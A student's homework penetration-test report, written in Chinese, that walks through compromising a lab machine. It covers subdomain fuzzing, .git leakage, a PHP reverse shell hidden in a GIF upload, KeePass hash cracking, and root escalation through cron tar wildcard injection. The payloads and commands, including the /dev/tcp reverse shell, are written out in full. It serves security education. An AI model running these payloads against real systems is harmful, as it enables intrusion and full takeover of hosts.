# HW7_Pentest_Report E24114029 錢信亦 > 本次滲透資訊: > 攻擊者機器(Kali Machine):192.168.2.128 > 靶機:192.168.2.132 ## 資訊蒐集 > 首先! > 自己平常的起手三件套:nmap, dirb, nikto > 上完課之後就變這三個:rustscan, gobuster, nuclei > 收穫良多 > 真的快蠻多的 好用推薦! 那就開始吧 先掃一下 port Command: ``` rustscan -a 192.168.2.132 -r 1-65535 --ulimit 5000 ```  目標確認有四個 1. 21: ftp 2. 22: ssh 3. 80: http 4. 8000: http ## 調查 4 個 Port 在幹嘛 照順序看一下: ### ftp ftp : 沒什麼東西在裡面,但解完後推測這邊可能會有彩蛋(?  ### ssh ssh : 題目敘述有說這邊非正確路徑不要爆破了,所以先暫時略過 ### http(80) http(80) : 既然有網頁娜先在網址列打打看 192.168.2.128:80 會發現重新導向到一個網站 pwn2ooown.zyx 到 /etc/hosts 加一下這個網站  確認有網站後就可以開始掃路徑了  發現有 blog,但 blog 本身沒有什麼太有趣的東西 繼續往下掃掃看  發現有 admin  是一個登入頁面 推測帳號密碼應該會在其他地方 所以先去看看 port 8000 ### http(8000)  發現也是一個登入頁面 隨便輸一些東西進去看看  從network那邊可以發現根本就沒有東西送到後端去檢查 推測就是個妥妥的rabbit hole 再看一下網頁原始碼  發現有sqli檢查機制, 一開始我以為這個給 80 port 的提示 暗示 80 port 要用 sqli 繞過 所以花了 3, 4 個小時用sqli爆破 80 port 簡單來說我還是踩進rabbit hole了。 總之, 反覆撞牆測試都沒結果後,才突然想起來,好像subdomain還沒掃過 Command: ``` ffuf -u http://pwn2ooown.zyx/ -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt -H "Host:FUZZ.pwn2ooown.zyx" -ac ```  發現有一個 test 先把他加進/etc/hosts  瀏覽器打開後發現只有一行文字而已,但打開原始碼會發現  唉呦不錯喔 是線索  開掃 ## 通往 Shell 的第一步 ### .git 洩漏  .git出現大概推測就是git洩漏了 Command: ```=shell git clone https://github.com/arthaud/git-dumper.git git-dumper http://test.pwn2ooown.zyx/.git/ ./DumpedHere\ncd ./DumpedHere ``` 進到 .git 資料夾後看一下 log  Testing的部分應該會跟登入資訊有關係,也show一下看看  搜刮到一個明文密碼了 也可以成功登入 80 Port 進到管理者頁面 ### Reverse Shell  發現有一個地方可以上傳檔案 只接收圖片檔,所以reverse shell如下: ```=php GIF89a; <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.128/9001 0>&1'"); ?> ``` 成功獲得shell之後先升級一下 ```=shell # 獲得更好的 TTY python3 -c 'import pty;pty.spawn("/bin/bash")' export TERM=xterm # 按 Ctrl+Z 把 shell 放到背景 # 然後在 Terminal 輸入: stty raw -echo; fg # 按兩次 Enter ``` 成功拿到www-data的shell  ## 接著當然是提權了 ### 偵查提權的洞 上課的時候有提示到 tryhackme 的 Linux PrivEsc Arena 有類似的方法 撇除掉需要sudo才能完成的(權限不夠大沒辦法用) 試了一輪之後有發現一個有趣的東西 Command: ``` cat /etc/crontab ```  有一個 root 每分鐘都會執行的檔案 趕快飛過去看一下  backup.sh 很明顯有一個 cron wildcards 漏洞  可是執行的前提是 必須要有vincent的權限,才能放東西到他的 test 資料夾裡面 可是這時候也可以發現, 資料夾有一個檔案,Database.kdb 我參考了 https://file.org/extension/kdb 發現這是一個金鑰資料庫檔案 應該會跟密碼有關 開始對他下手! ### 提權到 vincent 把kdb檔nc到本機後先轉成john看得懂的樣子再爆破 Command: ``` keepass2john Database.kdb > keepass_hash.txt john --wordlist=/usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-1000000.txt keepass_hash.txt john --show keepass_hash.txt ```  接著可以用 kpcli 去打開這個資料庫 Command: ``` # 安裝 kpcli sudo apt install kpcli # 開啟資料庫 kpcli kpcli:/> open database.kdb # 輸入密碼 # 列出內容 kpcli:/> find ```  再一次  成功提權成 vincent!  ### 提權成 root 我們可以繞回一開始發現的 cron wildcards 漏洞了 所以用 tryhackme 裡面提到的 checkpoint 的用法來新增檔案  Command: ``` touch /home/vincent/test/--checkpoint=1 touch /home/vincent/test/--checkpoint-action=exec=sh/ privesc.sh vim privesc.sh ``` privesc.sh裡面放以下內容 ``` #!/bin/bash cp /bin/bash ./rootbash chmod +s ./rootbash ```   因為 root 執行的 backup.sh 本身會每分鐘去跑以上的程式碼 *符號 會把所有檔案都吃進去,checkpoint會被當成參數 程式碼就可以植入裡面,幫我們把bash複製出來加上SUID讓我們用 所以最後一步了, 執行一下 rootbash!  ## 附錄 網站帳密: ``` username = "handsomepwn2ooown" password = "1`gTh&^8nsg#$" ``` 金鑰資料庫密碼:`YDVhlAkARDDyx1fdt3FUaQcbVsiibuON` Reverse Shell code: ``` GIF89a; <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.128/9001 0>&1'"); ?> ```
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up